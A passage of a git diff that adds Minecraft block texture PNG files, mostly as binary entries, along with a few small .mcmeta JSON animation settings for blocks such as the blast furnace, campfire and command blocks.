differ diff --git a/src/assets/minecraft/textures/block/birch_log.png b/src/assets/minecraft/textures/block/birch_log.png new file mode 100644 index 00000000..c0ef988d Binary files /dev/null and b/src/assets/minecraft/textures/block/birch_log.png differ diff --git a/src/assets/minecraft/textures/block/birch_log_top.png b/src/assets/minecraft/textures/block/birch_log_top.png new file mode 100644 index 00000000..a84365c4 Binary files /dev/null and b/src/assets/minecraft/textures/block/birch_log_top.png differ diff --git a/src/assets/minecraft/textures/block/birch_planks.png b/src/assets/minecraft/textures/block/birch_planks.png new file mode 100644 index 00000000..6d1983de Binary files /dev/null and b/src/assets/minecraft/textures/block/birch_planks.png differ diff --git a/src/assets/minecraft/textures/block/birch_sapling.png b/src/assets/minecraft/textures/block/birch_sapling.png new file mode 100644 index 00000000..d33b34ca Binary files /dev/null and b/src/assets/minecraft/textures/block/birch_sapling.png differ diff --git a/src/assets/minecraft/textures/block/birch_trapdoor.png b/src/assets/minecraft/textures/block/birch_trapdoor.png new file mode 100644 index 00000000..01255fe5 Binary files /dev/null and b/src/assets/minecraft/textures/block/birch_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/black_concrete.png b/src/assets/minecraft/textures/block/black_concrete.png new file mode 100644 index 00000000..8413b9c6 Binary files /dev/null and b/src/assets/minecraft/textures/block/black_concrete.png differ diff --git a/src/assets/minecraft/textures/block/black_concrete_powder.png b/src/assets/minecraft/textures/block/black_concrete_powder.png new file mode 100644 index 00000000..529daaa5 Binary files /dev/null and b/src/assets/minecraft/textures/block/black_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/black_glazed_terracotta.png b/src/assets/minecraft/textures/block/black_glazed_terracotta.png new file mode 100644 index 00000000..18acd927 Binary files /dev/null and b/src/assets/minecraft/textures/block/black_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/black_shulker_box.png b/src/assets/minecraft/textures/block/black_shulker_box.png new file mode 100644 index 00000000..213cec3b Binary files /dev/null and b/src/assets/minecraft/textures/block/black_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/black_stained_glass.png b/src/assets/minecraft/textures/block/black_stained_glass.png new file mode 100644 index 00000000..6b884f4a Binary files /dev/null and b/src/assets/minecraft/textures/block/black_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/black_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/black_stained_glass_pane_top.png new file mode 100644 index 00000000..43d60c55 Binary files /dev/null and b/src/assets/minecraft/textures/block/black_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/black_terracotta.png b/src/assets/minecraft/textures/block/black_terracotta.png new file mode 100644 index 00000000..e1ce2621 Binary files /dev/null and b/src/assets/minecraft/textures/block/black_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/black_wool.png b/src/assets/minecraft/textures/block/black_wool.png new file mode 100644 index 00000000..0e486b04 Binary files /dev/null and b/src/assets/minecraft/textures/block/black_wool.png differ diff --git a/src/assets/minecraft/textures/block/blackstone.png b/src/assets/minecraft/textures/block/blackstone.png new file mode 100644 index 00000000..265aa349 Binary files /dev/null and b/src/assets/minecraft/textures/block/blackstone.png differ diff --git a/src/assets/minecraft/textures/block/blackstone_top.png b/src/assets/minecraft/textures/block/blackstone_top.png new file mode 100644 index 00000000..45a4a434 Binary files /dev/null and b/src/assets/minecraft/textures/block/blackstone_top.png differ diff --git a/src/assets/minecraft/textures/block/blast_furnace_front.png b/src/assets/minecraft/textures/block/blast_furnace_front.png new file mode 100644 index 00000000..c7d42bf0 Binary files /dev/null and b/src/assets/minecraft/textures/block/blast_furnace_front.png differ diff --git a/src/assets/minecraft/textures/block/blast_furnace_front_on.png b/src/assets/minecraft/textures/block/blast_furnace_front_on.png new file mode 100644 index 00000000..8b51e4e3 Binary files /dev/null and b/src/assets/minecraft/textures/block/blast_furnace_front_on.png differ diff --git a/src/assets/minecraft/textures/block/blast_furnace_front_on.png.mcmeta b/src/assets/minecraft/textures/block/blast_furnace_front_on.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/blast_furnace_front_on.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/blast_furnace_side.png b/src/assets/minecraft/textures/block/blast_furnace_side.png new file mode 100644 index 00000000..05714a0f Binary files /dev/null and b/src/assets/minecraft/textures/block/blast_furnace_side.png differ diff --git a/src/assets/minecraft/textures/block/blast_furnace_top.png b/src/assets/minecraft/textures/block/blast_furnace_top.png new file mode 100644 index 00000000..6c8d3856 Binary files /dev/null and b/src/assets/minecraft/textures/block/blast_furnace_top.png differ diff --git a/src/assets/minecraft/textures/block/blue_concrete.png b/src/assets/minecraft/textures/block/blue_concrete.png new file mode 100644 index 00000000..e1f68fc8 Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_concrete.png differ diff --git a/src/assets/minecraft/textures/block/blue_concrete_powder.png b/src/assets/minecraft/textures/block/blue_concrete_powder.png new file mode 100644 index 00000000..e78597e1 Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/blue_glazed_terracotta.png b/src/assets/minecraft/textures/block/blue_glazed_terracotta.png new file mode 100644 index 00000000..8ced312b Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/blue_ice.png b/src/assets/minecraft/textures/block/blue_ice.png new file mode 100644 index 00000000..78b6040b Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_ice.png differ diff --git a/src/assets/minecraft/textures/block/blue_orchid.png b/src/assets/minecraft/textures/block/blue_orchid.png new file mode 100644 index 00000000..ae580aec Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_orchid.png differ diff --git a/src/assets/minecraft/textures/block/blue_shulker_box.png b/src/assets/minecraft/textures/block/blue_shulker_box.png new file mode 100644 index 00000000..3bcd44d1 Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/blue_stained_glass.png b/src/assets/minecraft/textures/block/blue_stained_glass.png new file mode 100644 index 00000000..ced02349 Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/blue_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/blue_stained_glass_pane_top.png new file mode 100644 index 00000000..55c614f4 Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/blue_terracotta.png b/src/assets/minecraft/textures/block/blue_terracotta.png new file mode 100644 index 00000000..7afe9305 Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/blue_wool.png b/src/assets/minecraft/textures/block/blue_wool.png new file mode 100644 index 00000000..14c5d710 Binary files /dev/null and b/src/assets/minecraft/textures/block/blue_wool.png differ diff --git a/src/assets/minecraft/textures/block/bone_block_side.png b/src/assets/minecraft/textures/block/bone_block_side.png new file mode 100644 index 00000000..6f1a1618 Binary files /dev/null and b/src/assets/minecraft/textures/block/bone_block_side.png differ diff --git a/src/assets/minecraft/textures/block/bone_block_top.png b/src/assets/minecraft/textures/block/bone_block_top.png new file mode 100644 index 00000000..72e642ef Binary files /dev/null and b/src/assets/minecraft/textures/block/bone_block_top.png differ diff --git a/src/assets/minecraft/textures/block/bookshelf.png b/src/assets/minecraft/textures/block/bookshelf.png new file mode 100644 index 00000000..4a2c24d4 Binary files /dev/null and b/src/assets/minecraft/textures/block/bookshelf.png differ diff --git a/src/assets/minecraft/textures/block/brain_coral.png b/src/assets/minecraft/textures/block/brain_coral.png new file mode 100644 index 00000000..b950ab80 Binary files /dev/null and b/src/assets/minecraft/textures/block/brain_coral.png differ diff --git a/src/assets/minecraft/textures/block/brain_coral_block.png b/src/assets/minecraft/textures/block/brain_coral_block.png new file mode 100644 index 00000000..074a2c9d Binary files /dev/null and b/src/assets/minecraft/textures/block/brain_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/brain_coral_fan.png b/src/assets/minecraft/textures/block/brain_coral_fan.png new file mode 100644 index 00000000..eb5be1c7 Binary files /dev/null and b/src/assets/minecraft/textures/block/brain_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/brewing_stand.png b/src/assets/minecraft/textures/block/brewing_stand.png new file mode 100644 index 00000000..af2333fb Binary files /dev/null and b/src/assets/minecraft/textures/block/brewing_stand.png differ diff --git a/src/assets/minecraft/textures/block/brewing_stand_base.png b/src/assets/minecraft/textures/block/brewing_stand_base.png new file mode 100644 index 00000000..6c7369d3 Binary files /dev/null and b/src/assets/minecraft/textures/block/brewing_stand_base.png differ diff --git a/src/assets/minecraft/textures/block/bricks.png b/src/assets/minecraft/textures/block/bricks.png new file mode 100644 index 00000000..2ed16c41 Binary files /dev/null and b/src/assets/minecraft/textures/block/bricks.png differ diff --git a/src/assets/minecraft/textures/block/brown_concrete.png b/src/assets/minecraft/textures/block/brown_concrete.png new file mode 100644 index 00000000..1ee67164 Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_concrete.png differ diff --git a/src/assets/minecraft/textures/block/brown_concrete_powder.png b/src/assets/minecraft/textures/block/brown_concrete_powder.png new file mode 100644 index 00000000..14487d7d Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/brown_glazed_terracotta.png b/src/assets/minecraft/textures/block/brown_glazed_terracotta.png new file mode 100644 index 00000000..17bd427b Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/brown_mushroom.png b/src/assets/minecraft/textures/block/brown_mushroom.png new file mode 100644 index 00000000..57b94d50 Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_mushroom.png differ diff --git a/src/assets/minecraft/textures/block/brown_mushroom_block.png b/src/assets/minecraft/textures/block/brown_mushroom_block.png new file mode 100644 index 00000000..ab3b4c8b Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_mushroom_block.png differ diff --git a/src/assets/minecraft/textures/block/brown_shulker_box.png b/src/assets/minecraft/textures/block/brown_shulker_box.png new file mode 100644 index 00000000..2b52d9e5 Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/brown_stained_glass.png b/src/assets/minecraft/textures/block/brown_stained_glass.png new file mode 100644 index 00000000..d62efccd Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/brown_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/brown_stained_glass_pane_top.png new file mode 100644 index 00000000..cbd791a4 Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/brown_terracotta.png b/src/assets/minecraft/textures/block/brown_terracotta.png new file mode 100644 index 00000000..9937e72c Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/brown_wool.png b/src/assets/minecraft/textures/block/brown_wool.png new file mode 100644 index 00000000..ffaa7509 Binary files /dev/null and b/src/assets/minecraft/textures/block/brown_wool.png differ diff --git a/src/assets/minecraft/textures/block/bubble_coral.png b/src/assets/minecraft/textures/block/bubble_coral.png new file mode 100644 index 00000000..a94f9142 Binary files /dev/null and b/src/assets/minecraft/textures/block/bubble_coral.png differ diff --git a/src/assets/minecraft/textures/block/bubble_coral_block.png b/src/assets/minecraft/textures/block/bubble_coral_block.png new file mode 100644 index 00000000..58b9999a Binary files /dev/null and b/src/assets/minecraft/textures/block/bubble_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/bubble_coral_fan.png b/src/assets/minecraft/textures/block/bubble_coral_fan.png new file mode 100644 index 00000000..3ab3d2b5 Binary files /dev/null and b/src/assets/minecraft/textures/block/bubble_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/cactus_bottom.png b/src/assets/minecraft/textures/block/cactus_bottom.png new file mode 100644 index 00000000..c613b886 Binary files /dev/null and b/src/assets/minecraft/textures/block/cactus_bottom.png differ diff --git a/src/assets/minecraft/textures/block/cactus_side.png b/src/assets/minecraft/textures/block/cactus_side.png new file mode 100644 index 00000000..409e0480 Binary files /dev/null and b/src/assets/minecraft/textures/block/cactus_side.png differ diff --git a/src/assets/minecraft/textures/block/cactus_top.png b/src/assets/minecraft/textures/block/cactus_top.png new file mode 100644 index 00000000..1fc332f4 Binary files /dev/null and b/src/assets/minecraft/textures/block/cactus_top.png differ diff --git a/src/assets/minecraft/textures/block/cake_bottom.png b/src/assets/minecraft/textures/block/cake_bottom.png new file mode 100644 index 00000000..86b49993 Binary files /dev/null and b/src/assets/minecraft/textures/block/cake_bottom.png differ diff --git a/src/assets/minecraft/textures/block/cake_inner.png b/src/assets/minecraft/textures/block/cake_inner.png new file mode 100644 index 00000000..77234d56 Binary files /dev/null and b/src/assets/minecraft/textures/block/cake_inner.png differ diff --git a/src/assets/minecraft/textures/block/cake_side.png b/src/assets/minecraft/textures/block/cake_side.png new file mode 100644 index 00000000..c3014b79 Binary files /dev/null and b/src/assets/minecraft/textures/block/cake_side.png differ diff --git a/src/assets/minecraft/textures/block/cake_top.png b/src/assets/minecraft/textures/block/cake_top.png new file mode 100644 index 00000000..4eb484ec Binary files /dev/null and b/src/assets/minecraft/textures/block/cake_top.png differ diff --git a/src/assets/minecraft/textures/block/campfire_fire.png b/src/assets/minecraft/textures/block/campfire_fire.png new file mode 100644 index 00000000..865d6e3e Binary files /dev/null and b/src/assets/minecraft/textures/block/campfire_fire.png differ diff --git a/src/assets/minecraft/textures/block/campfire_fire.png.mcmeta b/src/assets/minecraft/textures/block/campfire_fire.png.mcmeta new file mode 100644 index 00000000..0645f48c --- /dev/null +++ b/src/assets/minecraft/textures/block/campfire_fire.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 2 + } +} diff --git a/src/assets/minecraft/textures/block/campfire_log.png b/src/assets/minecraft/textures/block/campfire_log.png new file mode 100644 index 00000000..6f5eddc6 Binary files /dev/null and b/src/assets/minecraft/textures/block/campfire_log.png differ diff --git a/src/assets/minecraft/textures/block/campfire_log_lit.png b/src/assets/minecraft/textures/block/campfire_log_lit.png new file mode 100644 index 00000000..6e41c579 Binary files /dev/null and b/src/assets/minecraft/textures/block/campfire_log_lit.png differ diff --git a/src/assets/minecraft/textures/block/campfire_log_lit.png.mcmeta b/src/assets/minecraft/textures/block/campfire_log_lit.png.mcmeta new file mode 100644 index 00000000..265854e4 --- /dev/null +++ b/src/assets/minecraft/textures/block/campfire_log_lit.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 20 + } +} diff --git a/src/assets/minecraft/textures/block/carrots_stage0.png b/src/assets/minecraft/textures/block/carrots_stage0.png new file mode 100644 index 00000000..d31ceb69 Binary files /dev/null and b/src/assets/minecraft/textures/block/carrots_stage0.png differ diff --git a/src/assets/minecraft/textures/block/carrots_stage1.png b/src/assets/minecraft/textures/block/carrots_stage1.png new file mode 100644 index 00000000..2c4d65c3 Binary files /dev/null and b/src/assets/minecraft/textures/block/carrots_stage1.png differ diff --git a/src/assets/minecraft/textures/block/carrots_stage2.png b/src/assets/minecraft/textures/block/carrots_stage2.png new file mode 100644 index 00000000..9aa0e172 Binary files /dev/null and b/src/assets/minecraft/textures/block/carrots_stage2.png differ diff --git a/src/assets/minecraft/textures/block/carrots_stage3.png b/src/assets/minecraft/textures/block/carrots_stage3.png new file mode 100644 index 00000000..fa8b4ceb Binary files /dev/null and b/src/assets/minecraft/textures/block/carrots_stage3.png differ diff --git a/src/assets/minecraft/textures/block/cartography_table_side1.png b/src/assets/minecraft/textures/block/cartography_table_side1.png new file mode 100644 index 00000000..01c8504b Binary files /dev/null and b/src/assets/minecraft/textures/block/cartography_table_side1.png differ diff --git a/src/assets/minecraft/textures/block/cartography_table_side2.png b/src/assets/minecraft/textures/block/cartography_table_side2.png new file mode 100644 index 00000000..3f65ce80 Binary files /dev/null and b/src/assets/minecraft/textures/block/cartography_table_side2.png differ diff --git a/src/assets/minecraft/textures/block/cartography_table_side3.png b/src/assets/minecraft/textures/block/cartography_table_side3.png new file mode 100644 index 00000000..971b6b19 Binary files /dev/null and b/src/assets/minecraft/textures/block/cartography_table_side3.png differ diff --git a/src/assets/minecraft/textures/block/cartography_table_top.png b/src/assets/minecraft/textures/block/cartography_table_top.png new file mode 100644 index 00000000..7b256c98 Binary files /dev/null and b/src/assets/minecraft/textures/block/cartography_table_top.png differ diff --git a/src/assets/minecraft/textures/block/carved_pumpkin.png b/src/assets/minecraft/textures/block/carved_pumpkin.png new file mode 100644 index 00000000..944a3226 Binary files /dev/null and b/src/assets/minecraft/textures/block/carved_pumpkin.png differ diff --git a/src/assets/minecraft/textures/block/cauldron_bottom.png b/src/assets/minecraft/textures/block/cauldron_bottom.png new file mode 100644 index 00000000..4c8591a2 Binary files /dev/null and b/src/assets/minecraft/textures/block/cauldron_bottom.png differ diff --git a/src/assets/minecraft/textures/block/cauldron_inner.png b/src/assets/minecraft/textures/block/cauldron_inner.png new file mode 100644 index 00000000..17fcf4fa Binary files /dev/null and b/src/assets/minecraft/textures/block/cauldron_inner.png differ diff --git a/src/assets/minecraft/textures/block/cauldron_side.png b/src/assets/minecraft/textures/block/cauldron_side.png new file mode 100644 index 00000000..3bf024ea Binary files /dev/null and b/src/assets/minecraft/textures/block/cauldron_side.png differ diff --git a/src/assets/minecraft/textures/block/cauldron_top.png b/src/assets/minecraft/textures/block/cauldron_top.png new file mode 100644 index 00000000..fd672b39 Binary files /dev/null and b/src/assets/minecraft/textures/block/cauldron_top.png differ diff --git a/src/assets/minecraft/textures/block/chain.png b/src/assets/minecraft/textures/block/chain.png new file mode 100644 index 00000000..d65414d9 Binary files /dev/null and b/src/assets/minecraft/textures/block/chain.png differ diff --git a/src/assets/minecraft/textures/block/chain_command_block_back.png b/src/assets/minecraft/textures/block/chain_command_block_back.png new file mode 100644 index 00000000..d50623b6 Binary files /dev/null and b/src/assets/minecraft/textures/block/chain_command_block_back.png differ diff --git a/src/assets/minecraft/textures/block/chain_command_block_back.png.mcmeta b/src/assets/minecraft/textures/block/chain_command_block_back.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/chain_command_block_back.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/chain_command_block_conditional.png b/src/assets/minecraft/textures/block/chain_command_block_conditional.png new file mode 100644 index 00000000..6cb6ccc2 Binary files /dev/null and b/src/assets/minecraft/textures/block/chain_command_block_conditional.png differ diff --git a/src/assets/minecraft/textures/block/chain_command_block_conditional.png.mcmeta b/src/assets/minecraft/textures/block/chain_command_block_conditional.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/chain_command_block_conditional.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/chain_command_block_front.png b/src/assets/minecraft/textures/block/chain_command_block_front.png new file mode 100644 index 00000000..420431d8 Binary files /dev/null and b/src/assets/minecraft/textures/block/chain_command_block_front.png differ diff --git a/src/assets/minecraft/textures/block/chain_command_block_front.png.mcmeta b/src/assets/minecraft/textures/block/chain_command_block_front.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/chain_command_block_front.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/chain_command_block_side.png b/src/assets/minecraft/textures/block/chain_command_block_side.png new file mode 100644 index 00000000..31f9ad72 Binary files /dev/null and b/src/assets/minecraft/textures/block/chain_command_block_side.png differ diff --git a/src/assets/minecraft/textures/block/chain_command_block_side.png.mcmeta b/src/assets/minecraft/textures/block/chain_command_block_side.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/chain_command_block_side.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/chipped_anvil_top.png b/src/assets/minecraft/textures/block/chipped_anvil_top.png new file mode 100644 index 00000000..89d20c69 Binary files /dev/null and b/src/assets/minecraft/textures/block/chipped_anvil_top.png differ diff --git a/src/assets/minecraft/textures/block/chiseled_nether_bricks.png b/src/assets/minecraft/textures/block/chiseled_nether_bricks.png new file mode 100644 index 00000000..bd6009e1 Binary files /dev/null and b/src/assets/minecraft/textures/block/chiseled_nether_bricks.png differ diff --git a/src/assets/minecraft/textures/block/chiseled_polished_blackstone.png b/src/assets/minecraft/textures/block/chiseled_polished_blackstone.png new file mode 100644 index 00000000..ac6a0dcc Binary files /dev/null and b/src/assets/minecraft/textures/block/chiseled_polished_blackstone.png differ diff --git a/src/assets/minecraft/textures/block/chiseled_quartz_block.png b/src/assets/minecraft/textures/block/chiseled_quartz_block.png new file mode 100644 index 00000000..13d7686e Binary files /dev/null and b/src/assets/minecraft/textures/block/chiseled_quartz_block.png differ diff --git a/src/assets/minecraft/textures/block/chiseled_quartz_block_top.png b/src/assets/minecraft/textures/block/chiseled_quartz_block_top.png new file mode 100644 index 00000000..35a9ef21 Binary files /dev/null and b/src/assets/minecraft/textures/block/chiseled_quartz_block_top.png differ diff --git a/src/assets/minecraft/textures/block/chiseled_red_sandstone.png b/src/assets/minecraft/textures/block/chiseled_red_sandstone.png new file mode 100644 index 00000000..7b187b03 Binary files /dev/null and b/src/assets/minecraft/textures/block/chiseled_red_sandstone.png differ diff --git a/src/assets/minecraft/textures/block/chiseled_sandstone.png b/src/assets/minecraft/textures/block/chiseled_sandstone.png new file mode 100644 index 00000000..90cf2baa Binary files /dev/null and b/src/assets/minecraft/textures/block/chiseled_sandstone.png differ diff --git a/src/assets/minecraft/textures/block/chiseled_stone_bricks.png b/src/assets/minecraft/textures/block/chiseled_stone_bricks.png new file mode 100644 index 00000000..8555f0a6 Binary files /dev/null and b/src/assets/minecraft/textures/block/chiseled_stone_bricks.png differ diff --git a/src/assets/minecraft/textures/block/chorus_flower.png b/src/assets/minecraft/textures/block/chorus_flower.png new file mode 100644 index 00000000..d0758072 Binary files /dev/null and b/src/assets/minecraft/textures/block/chorus_flower.png differ diff --git a/src/assets/minecraft/textures/block/chorus_flower_dead.png b/src/assets/minecraft/textures/block/chorus_flower_dead.png new file mode 100644 index 00000000..21f31552 Binary files /dev/null and b/src/assets/minecraft/textures/block/chorus_flower_dead.png differ diff --git a/src/assets/minecraft/textures/block/chorus_plant.png b/src/assets/minecraft/textures/block/chorus_plant.png new file mode 100644 index 00000000..39924b98 Binary files /dev/null and b/src/assets/minecraft/textures/block/chorus_plant.png differ diff --git a/src/assets/minecraft/textures/block/clay.png b/src/assets/minecraft/textures/block/clay.png new file mode 100644 index 00000000..54fd57af Binary files /dev/null and b/src/assets/minecraft/textures/block/clay.png differ diff --git a/src/assets/minecraft/textures/block/coal_block.png b/src/assets/minecraft/textures/block/coal_block.png new file mode 100644 index 00000000..25351c71 Binary files /dev/null and b/src/assets/minecraft/textures/block/coal_block.png differ diff --git a/src/assets/minecraft/textures/block/coal_ore.png b/src/assets/minecraft/textures/block/coal_ore.png new file mode 100644 index 00000000..3759e02e Binary files /dev/null and b/src/assets/minecraft/textures/block/coal_ore.png differ diff --git a/src/assets/minecraft/textures/block/coarse_dirt.png b/src/assets/minecraft/textures/block/coarse_dirt.png new file mode 100644 index 00000000..3107d43a Binary files /dev/null and b/src/assets/minecraft/textures/block/coarse_dirt.png differ diff --git a/src/assets/minecraft/textures/block/cobblestone.png b/src/assets/minecraft/textures/block/cobblestone.png new file mode 100644 index 00000000..80fa3a83 Binary files /dev/null and b/src/assets/minecraft/textures/block/cobblestone.png differ diff --git a/src/assets/minecraft/textures/block/cobweb.png b/src/assets/minecraft/textures/block/cobweb.png new file mode 100644 index 00000000..d31d5b42 Binary files /dev/null and b/src/assets/minecraft/textures/block/cobweb.png differ diff --git a/src/assets/minecraft/textures/block/cocoa_stage0.png b/src/assets/minecraft/textures/block/cocoa_stage0.png new file mode 100644 index 00000000..4fcaaee7 Binary files /dev/null and b/src/assets/minecraft/textures/block/cocoa_stage0.png differ diff --git a/src/assets/minecraft/textures/block/cocoa_stage1.png b/src/assets/minecraft/textures/block/cocoa_stage1.png new file mode 100644 index 00000000..9bc8e5dd Binary files /dev/null and b/src/assets/minecraft/textures/block/cocoa_stage1.png differ diff --git a/src/assets/minecraft/textures/block/cocoa_stage2.png b/src/assets/minecraft/textures/block/cocoa_stage2.png new file mode 100644 index 00000000..901ca324 Binary files /dev/null and b/src/assets/minecraft/textures/block/cocoa_stage2.png differ diff --git a/src/assets/minecraft/textures/block/command_block_back.png b/src/assets/minecraft/textures/block/command_block_back.png new file mode 100644 index 00000000..38600895 Binary files /dev/null and b/src/assets/minecraft/textures/block/command_block_back.png differ diff --git a/src/assets/minecraft/textures/block/command_block_back.png.mcmeta b/src/assets/minecraft/textures/block/command_block_back.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/command_block_back.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/command_block_conditional.png b/src/assets/minecraft/textures/block/command_block_conditional.png new file mode 100644 index 00000000..5334c1f3 Binary files /dev/null and b/src/assets/minecraft/textures/block/command_block_conditional.png differ diff --git a/src/assets/minecraft/textures/block/command_block_conditional.png.mcmeta b/src/assets/minecraft/textures/block/command_block_conditional.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/command_block_conditional.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/command_block_front.png b/src/assets/minecraft/textures/block/command_block_front.png new file mode 100644 index 00000000..54412d4a Binary files /dev/null and b/src/assets/minecraft/textures/block/command_block_front.png differ diff --git a/src/assets/minecraft/textures/block/command_block_front.png.mcmeta b/src/assets/minecraft/textures/block/command_block_front.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/command_block_front.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/command_block_side.png b/src/assets/minecraft/textures/block/command_block_side.png new file mode 100644 index 00000000..129a5f4d Binary files /dev/null and b/src/assets/minecraft/textures/block/command_block_side.png differ diff --git a/src/assets/minecraft/textures/block/command_block_side.png.mcmeta b/src/assets/minecraft/textures/block/command_block_side.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/command_block_side.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/comparator.png b/src/assets/minecraft/textures/block/comparator.png new file mode 100644 index 00000000..f47ebf18 Binary files /dev/null and b/src/assets/minecraft/textures/block/comparator.png differ diff --git a/src/assets/minecraft/textures/block/comparator_on.png b/src/assets/minecraft/textures/block/comparator_on.png new file mode 100644 index 00000000..85cefb89 Binary files /dev/null and b/src/assets/minecraft/textures/block/comparator_on.png differ diff --git a/src/assets/minecraft/textures/block/composter_bottom.png b/src/assets/minecraft/textures/block/composter_bottom.png new file mode 100644 index 00000000..7556bd9c Binary files /dev/null and b/src/assets/minecraft/textures/block/composter_bottom.png differ diff --git a/src/assets/minecraft/textures/block/composter_compost.png b/src/assets/minecraft/textures/block/composter_compost.png new file mode 100644 index 00000000..bc17729b Binary files /dev/null and b/src/assets/minecraft/textures/block/composter_compost.png differ diff --git a/src/assets/minecraft/textures/block/composter_ready.png b/src/assets/minecraft/textures/block/composter_ready.png new file mode 100644 index 00000000..d80dafc6 Binary files /dev/null and b/src/assets/minecraft/textures/block/composter_ready.png differ diff --git a/src/assets/minecraft/textures/block/composter_side.png b/src/assets/minecraft/textures/block/composter_side.png new file mode 100644 index 00000000..a4395f4b Binary files /dev/null and b/src/assets/minecraft/textures/block/composter_side.png differ diff --git a/src/assets/minecraft/textures/block/composter_top.png b/src/assets/minecraft/textures/block/composter_top.png new file mode 100644 index 00000000..04737817 Binary files /dev/null and b/src/assets/minecraft/textures/block/composter_top.png differ diff --git a/src/assets/minecraft/textures/block/conduit.png b/src/assets/minecraft/textures/block/conduit.png new file mode 100644 index 00000000..78e0416c Binary files /dev/null and b/src/assets/minecraft/textures/block/conduit.png differ diff --git a/src/assets/minecraft/textures/block/cornflower.png b/src/assets/minecraft/textures/block/cornflower.png new file mode 100644 index 00000000..3de4add1 Binary files /dev/null and b/src/assets/minecraft/textures/block/cornflower.png differ diff --git a/src/assets/minecraft/textures/block/cracked_nether_bricks.png b/src/assets/minecraft/textures/block/cracked_nether_bricks.png new file mode 100644 index 00000000..28173d21 Binary files /dev/null and b/src/assets/minecraft/textures/block/cracked_nether_bricks.png differ diff --git a/src/assets/minecraft/textures/block/cracked_polished_blackstone_bricks.png b/src/assets/minecraft/textures/block/cracked_polished_blackstone_bricks.png new file mode 100644 index 00000000..7a1179fc Binary files /dev/null and b/src/assets/minecraft/textures/block/cracked_polished_blackstone_bricks.png differ diff --git a/src/assets/minecraft/textures/block/cracked_stone_bricks.png 